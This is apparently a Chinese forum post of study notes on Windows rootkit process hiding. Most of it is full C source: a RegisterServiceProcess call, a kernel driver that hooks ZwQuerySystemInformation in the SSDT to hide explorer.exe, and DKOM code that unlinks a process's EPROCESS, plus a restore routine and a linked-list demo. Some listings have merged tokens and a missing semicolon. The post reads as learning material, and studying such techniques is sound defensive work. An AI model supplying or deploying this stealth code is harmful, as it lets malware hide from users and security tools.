扔出篇垃圾文章,(高手看过笑一下,本文的效果达到了!新入门的觉得有点收获,效果也达到了,高手还是掠过吧!没创新,就是一些总结)
今天是距奥运会的最后一天,已经碌碌无为了.也没什么长进,只是觉得看那本《Rootkits Subverting the Windows Kernel》中文名是《ROOTKITSWindows内核的安全防护》(连名字都给人家改了)觉得收获颇丰.
最近看了下DKOM隐藏驱动,随之联想到几种隐藏进程的方法:
第一种:ring3下的很简单很古老一种方法就是调用RegisterServiceProcess函数
代码:
#include <windows.h>
void main()
{
typedef DWORD (CALLBACK* LPR)(DWORD,DWORD);
HINSTANCEhDLL;
LPRlpRegisterServiceProcess;
hDLL = LoadLibrary("KERNEL32.dll");
//得到RegisterServiceProcess的地址
lpRegisterServiceProcess = (LPR)GetProcAddress( hDLL,"RegisterServiceProcess" );
//执行RegisterServiceProcess函数
lpRegisterServiceProcess( GetCurrentProcessId(),1 );
//卸载链接库
FreeLibrary(hDLL);
while ( 1 )
{
}
}
不过有人反汇编了这个函数而且在NT写了代码
http://www.pc-soft.cn/blogview.asp?logID=30
方法2:HOOK SSDT(地球人都知道呀!HOOK ZwQuerySystemInfo)
没什么意思:
代码:
#include <ntddk.h>
//struct of ssdt
typedef struct _SERVICE_DESCRIPT0R_TABLE
{
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase;
unsigned int NumberOfService;
unsigned char *ParamTableBase;
}SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE;
typedef struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONGWaitTime;
PVOIDStartAddress;
CLIENT_ID ClientIs;
KPRIORITYPriority;
KPRIORITYBasePriority;
ULONGContextSwitchCount;
ULONGThreadState;
KWAIT_REASON WaitReason;
}SYSTEM_THREADS,*PSYSTEM_THREADS;
typedef struct _SYSTEM_PROCESSES
{
ULONGNextEntryDelta;
ULONGThreadCount;
ULONGReserved[6];
LARGE_INTEGERCreateTime;
LARGE_INTEGERUserTime;
LARGE_INTEGERKernelTime;
UNICODE_STRINGProcessName;
KPRIORITYBasePriority;
ULONGProcessId;
ULONGInheritedFromProcessId;
ULONGHandleCount;
ULONGReserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //windows 2000 only
SYSTEM_THREADSThreads[1];
}SYSTEMPROCESS,*PSYSTEMPROCESS;
NTSYSAPISERVICE_DESCRIPTOR_TABLEKeServiceDescriptorTable;
NTSYSAPI
NTSTATUS
NTAPIZwQuerySystemInformation( INULONGSystemInfomationClass,
INPVOIDSystemInformation,
INULONGSystemInformationLength,
OUTPULONGReturnLength
);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(ULONGSystemInfomationClass,
PVOIDSystemInformation,
ULONGSystemInformationLength,
PULONGReturnLength
);
ZWQUERYSYSTEMINFORMATIONOldZwQuerySystemInformation;
NTSTATUS NewZwQuerySystemInformation( INULONGSystemInfomationClass,
INPVOIDSystemInformation,
INULONGSystemInformationLength,
OUTPULONGReturnLength
)
{
NTSTATUSntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))(
SystemInfomationClass,
SystemInformation,
SystemInformationLength,
ReturnLength
);
if ( !NT_SUCCESS( ntStatus ) )//如果失败直接返回
return ntStatus;
if ( SystemInfomationClass == 5 )//如果是列表查询!
{
PSYSTEMPROCESSpCurrentProcess = (PSYSTEMPROCESS)SystemInformation;//得得到进程列表
PSYSTEMPROCESSpPrevious = NULL;//设置第一项为空
while( pCurrentProcess )//开始循环
{
if ( pCurrentProcess->ProcessName.Buffer != NULL )
{
if ( memcmp( _wcslwr(pCurrentProcess->ProcessName.Buffer),//将字符串变成小写再比较
L"explorer.exe", sizeof( L"explorer.exe" )) == 0)
{
if ( pPrevious )//如果不是第一个
{
if ( pCurrentProcess->NextEntryDelta )//不是最后一个
pPrevious->NextEntryDelta += pCurrentProcess->NextEntryDelta;
else//最后一个
pPrevious->NextEntryDelta = 0;
}
else//第一个
if ( pCurrentProcess->NextEntryDelta )
(char*)SystemInformation += pCurrentProcess->NextEntryDelta;
else
SystemInformation = NULL;
}
}
pPrevious = pCurrentProcess;
if( pCurrentProcess->NextEntryDelta )
(char*)pCurrentProcess += pCurrentProcess->NextEntryDelta;//移向下一个节点
else
pCurrentProcess = NULL;
}
}
return ntStatus;
}
//驱动卸载函数
VOID OnUnload( INPDRIVER_OBJECTDriverObject )
{
DbgPrint( " The Driver Unload ! \n" );
DbgPrint( "UnHook Start! \n ");
__asm//去掉内存保护
{
cli
mov eax, cr0
and eax, not 10000h
mov cr0, eax
}
(ZWQUERYSYSTEMINFORMATION)
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwQuerySystemInformation + 1 )] =
OldZwQuerySystemInformation;
__asm//回复内存保护
{
mov eax, cr0
or eax, 10000h
mov cr0, eax
sti
}
DbgPrint( "UnHook SucessFul! \n" );
}
NTSTATUS
DriverEntry(
INPDRIVER_OBJECTDriverObject,
INPUNICODE_STRINGRegistryPath
)
{
DriverObject->DriverUnload = OnUnload;
OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwQuerySystemInformation + 1) ];
DbgPrint( "Hook Start ! \n" );
__asm//去掉内存保护
{
cli
mov eax, cr0
and eax, not 10000h
mov cr0, eax
}
(ZWQUERYSYSTEMINFORMATION)
KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwQuerySystemInformation + 1 )] =
NewZwQuerySystemInformation;
__asm//回复内存保护
{
mov eax, cr0
or eax, 10000h
mov cr0, eax
sti
}
DbgPrint( "Hook SucessFul! \n" );
return STATUS_SUCCESS;
}
第三种DKOM摘链:
详见书的第七章DKOM
原理就是系统中的每个进程都对应一个EPROCESS结构体,
这是我的机子上的Xp-sp2
lkd> dt _EPROCESS
+0x000 Pcb : _KPROCESS
+0x06c ProcessLock : _EX_PUSH_LOCK
+0x070 CreateTime : _LARGE_INTEGER
+0x078 ExitTime : _LARGE_INTEGER
+0x080 RundownProtect : _EX_RUNDOWN_REF
+0x084 UniqueProcessId : Ptr32 Void
+0x088 ActiveProcessLinks : _LIST_ENTRY
这只是其中的一部分,UniqueProcessId参数是进程的ID,ActiveProcessLinks这个是一个双向链表分别指向了前一个进程和后一个进程的ActiveProcessLinks.这样就把所有的进程连成一个双向的链表,可以方便的查询进程的任何信息.
lkd> dt _LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
隐藏进程的原理就是按照进程的ID找到进程的EPROCESS然后将样隐藏的进程的EPROCESS在链表中移除!详图看书
下面的例子没写和ring3中的程序通讯为了简单就只是在任务管理器中找了个PID隐藏了
代码:
#include <ntddk.h>
#include <windef.h>
//我的是XP-SP2别的系统用WinDbg看一下EPROCESS的结构就行了
#define PIDOFFSET0x84
#define FLINKOFFSET0x88
PLIST_ENTRY pList_Org;
//////////////////////////////////////////////////////////////////////////
//根据PID得到进程的EPROCESS
//////////////////////////////////////////////////////////////////////////
DWORD FindProcessEPROCByID( int nPID )
{
DWORDdwEProc = 0x00000000;//要返回的EPROCESS结构的地址
intnCurrentPID = 0;
intnStartPID = 0;//起始ID
intnCount = 0;
PLIST_ENTRYpList_Current;//当前线程的双链
if ( 0 == nPID )
return 0;
dwEProc = (DWORD)PsGetCurrentProcess();
nStartPID = *( ( int* )( dwEProc + PIDOFFSET ) );
nCurrentPID = nStartPID;
while( TRUE )
{
if ( nPID == nCurrentPID )
return dwEProc;
else if ( ( nCount > 0 ) && ( nStartPID == nCurrentPID) )
{
return 0x00000000;
}
else
{
pList_Current = ( PLIST_ENTRY )( dwEProc + FLINKOFFSET );//当前进程的LIST_ENTRY
dwEProc = (DWORD)pList_Current->Flink;//得到下一个进程的LIST_ENTRY地址
dwEProc = dwEProc - FLINKOFFSET;//得到当前进程的EPROCESS
nCurrentPID = *( (int*)( dwEProc + PIDOFFSET ) );//得到下一个进程的PID
nCount++;
}
}
}
//////////////////////////////////////////////////////////////////////
//隐藏进程函数
//////////////////////////////////////////////////////////////////////
NTSTATUS HideProcess( )
{
DWORD dwEProc= 0;
PLIST_ENTRY pList_Current;
//这里的1816就是在任务管理器中随便找的!
dwEProc= FindProcessEPROCByID( 1816 );
//没有的到地址
if ( dwEProc == 0x00000000 )
{
return STATUS_INVALID_PARAMETER;
}
pList_Current = (PLIST_ENTRY)( dwEProc + FLINKOFFSET );
pList_Org = pList_Current;
*( (DWORD*)pList_Current->Blink ) = (DWORD)pList_Current->Flink;
*( (DWORD*)pList_Current->Flink + 1 ) = (DWORD)pList_Current->Blink;
pList_Current->Flink = (PLIST_ENTRY)&( pList_Current->Flink );
pList_Current->Blink = (PLIST_ENTRY)&( pList_Current->Flink );
return STATUS_SUCCESS;
}
//////////////////////////////////////////////////////////////////////////
//驱动卸载
//////////////////////////////////////////////////////////////////////////
NTSTATUS OnUnload( PDRIVER_OBJECT pDriverObj )
{
DbgPrint( "Driver OnUnload! \n " )
return STATUS_SUCCESS;
}
//////////////////////////////////////////////////////////////////////////
// 驱动加载
//////////////////////////////////////////////////////////////////////////
NTSTATUS DriverEntry( PDRIVER_OBJECT pDriverObj, PUNICODE_STRING pRegistryString)
{
NTSTATUS ntStatus;
pDriverObj->DriverUnload = OnUnload;
ntStatus = HideProcess();
return ntStatus;
}
随之又编写了一个还原函数
代码:
NTSTATUSRestore()
{
//在当前进程处插入
DWORDdwEProc= 0;
PLIST_ENTRYpList_Current;
dwEProc= (DWORD)PsGetCurrentProcess();
*( (DWORD*)pList_Org->Flink ) = (DWORD)pList_Current->Flink;
*( (DWORD*)pList_Org->Blink ) = (DWORD)pList_Current;
*( (DWORD*)pList_Current->Flink + 1) = (DWORD)pList_Org;
*( (DWORD*)pList_Current->Flink ) = (DWORD)pList_Org;
DbgPrint( "Restore SucessFul! \n" );
return STATUS_SUCCESS;
}
在驱动卸载的时候调用这个函数,编译放在虚拟机中运行,靠,好大一块蓝玻璃?难道是双向链表的操作错了?懂的跳过!
(可笑之处上)
这里我再嗦下双向链表的操作!为此我有写了一个模拟EPROCESS的Demo
代码:
#include <Windows.h>
#include <stdio.h>
//双向链表
struct LINKENTRY
{
LINKENTRY*pNext;//指向前一个
LINKENTRY*pPrev;//指向后一个
};
//.......
struct LINKTABLE
{
DWORDdwNum1;//模拟结构体EPROCESS上面的内容
LINKENTRYpLinkEntry;//PLINKENTRY结构体指针
DWORDdwNum2;//模拟结构体EPROCESS下面的内容
};
//主函数
void main()
{
//////////////////////////////////////////////////////////////////////////
//新建一个链表
//////////////////////////////////////////////////////////////////////////
LINKTABLE*pLinkTable[3];
printf( "%d\n", sizeof( DWORD ) );
printf( "%d \n", sizeof( LINKTABLE ) );
LINKTABLE*pLinkTemp;
for ( int i = 0; i < 3; i++ )
pLinkTable[i] = newLINKTABLE;
pLinkTable[0]->dwNum1 = 0;
pLinkTable[0]->dwNum2 = 0;
pLinkTable[0]->pLinkEntry.pPrev = NULL;
pLinkTable[0]->pLinkEntry.pNext = ( LINKENTRY* )&pLinkTable[1]->pLinkEntry;
pLinkTable[1]->dwNum1 = 1;
pLinkTable[1]->dwNum2 = 1;
pLinkTable[1]->pLinkEntry.pPrev = ( LINKENTRY* )&pLinkTable[0]->pLinkEntry;
pLinkTable[1]->pLinkEntry.pNext = ( LINKENTRY* )&pLinkTable[2]->pLinkEntry;
pLinkTable[2]->dwNum1 = 2;
pLinkTable[2]->dwNum2 = 2;
pLinkTable[2]->pLinkEntry.pPrev = ( LINKENTRY* )&pLinkTable[1]->pLinkEntry;
pLinkTable[2]->pLinkEntry.pNext = NULL;
pLinkTemp = pLinkTable[0];
printf( "\n******************************************************\n" );
for ( i = 0; i < 3; i++ )
{
printf( "Num[%d]1 = %d \n", i, (int)( pLinkTemp->dwNum1 ) );
printf( "Num[%d]2 = %d \n", i, (int)( pLinkTemp->dwNum2 ) );
pLinkTemp = ( LINKTABLE* )((DWORD)( pLinkTemp->pLinkEntry.pNext) - 4);
printf( "pLinkTable[1] = %08x\n", pLinkTable[1] );
printf( "pLinkTemp = %08x\n", pLinkTemp);
}
printf( "******************************************************\n\n" );
//////////////////////////////////////////////////////////////////////////
//移除第二项
//////////////////////////////////////////////////////////////////////////
pLinkTemp = pLinkTable[0];
LINKENTRY* pListCurrent; //= new LINKENTRY;
pListCurrent = (LINKENTRY*)&pLinkTable[1]->pLinkEntry;
*((DWORD*)pListCurrent->pPrev) = (DWORD)pListCurrent->pNext;
*((DWORD*)pListCurrent->pNext + 1) = (DWORD)pListCurrent->pPrev;
printf( "\n******************************************************\n" );
for ( i = 0; i < 2; i++ )
{
printf( "Num[%d]1 = %d \n", i, (int)( pLinkTemp->dwNum1 ) );
printf( "Num[%d]2 = %d \n", i, (int)( pLinkTemp->dwNum2 ) );
pLinkTemp = ( LINKTABLE* )((DWORD)( pLinkTemp->pLinkEntry.pNext) - 4);
printf( "pLinkTable[1] = %08x\n", pLinkTable[1] );
printf( "pLinkTemp = %08x\n", pLinkTemp);
}
printf( "\n******************************************************\n" );
//////////////////////////////////////////////////////////////////////////
//把原来项插入到链表中去
//////////////////////////////////////////////////////////////////////////
pLinkTemp = pLinkTable[0];
LINKENTRY* pListOrg = pListCurrent;
pListCurrent = (LINKENTRY*)&pLinkTable [0]->pLinkEntry;
*((DWORD*)pListOrg->pNext)= (DWORD)pListCurrent->pNext; //修改要插入项的向前的指针
*((DWORD*)pListOrg->pPrev)= (DWORD)pListCurrent;//修改要插入项的向后的指针
*((DWORD*)pListCurrent->pNext + 1)= (DWORD)pListOrg;//修改最前向的向后的指针
*((DWORD*)pListCurrent->pNext)= (DWORD)pListOrg;//修改最后一项的向前的指针
printf( "\n******************************************************\n" );
for ( i = 0; i < 3; i++ )
{
printf( "Num[%d]1 = %d \n", i, (int)( pLinkTemp->dwNum1 ) );
printf( "Num[%d]2 = %d \n", i, (int)( pLinkTemp->dwNum2 ) );
pLinkTemp = ( LINKTABLE* )((DWORD)( pLinkTemp->pLinkEntry.pNext) - 4);
printf( "pLinkTable[1] = %08x\n", pLinkTable[1] );
printf( "pLinkTemp = %08x\n", pLinkTemp->pLinkEntry.pNext);
}
printf( "******************************************************\n\n" );
}
----摘掉的EPROCESS不能再被插入
(个人觉得也不对,不过论坛上问了下没人回答知道暂时这样了)
请大家踊跃批评,最好能反驳这个结论!(写上原因哦!)
/*************************************************************************/
/*************************************************************************/
上面的问题解决了,还是在WinDbg的帮助下解决了问题,结论是错误的,(其实早就知道是错的)Ring3下的模拟的双链和内核中的EPROCESS的机制不一样,ring3下的是死的,而在内核中系统会紫铜扫描结构体的变化,把改掉的结构体相关的结构都改过来,导致所有有的结构体指针没有改变,
现把解决方法注上!(就是修改后的Restore函数):
代码:
NTSTATUS Restore()
{
//在当前进程处插入
DWORD dwEProc = 0;
PLIST_ENTRY pList_Current;
dwEProc = (DWORD)PsGetCurrentProcess();
if( 0 == dwEProc )
return STATUS_SUCCESS;
pList_Current = ( PLIST_ENTRY )(dwEProc + FLINKOFFSET);
*( (DWORD*)pList_Org->Flink ) = (DWORD)pList_Current->Flink;
//*( (DWORD*)pList_Org->Blink ) = (DWORD)pList_Current;
pList_Org->Blink = (PLIST_ENTRY)pList_Current;
*( (DWORD*)pList_Current->Flink + 1) = (DWORD)pList_Org;
//*( (DWORD*)pList_Current->Flink ) = (DWORD)pList_Org;
pList_Current->Flink = (PLIST_ENTRY)pList_Org;
DbgPrint( "UnHook SucessFul! \n" );
return STATUS_SUCCESS;
}
/*************************************************************************/
第四种就是:
用补丁方法就是Detour Patching来修改NtQuerySystemInformation函数
(就是那个跳来跳去的方法)
唉!文章太长了以后补上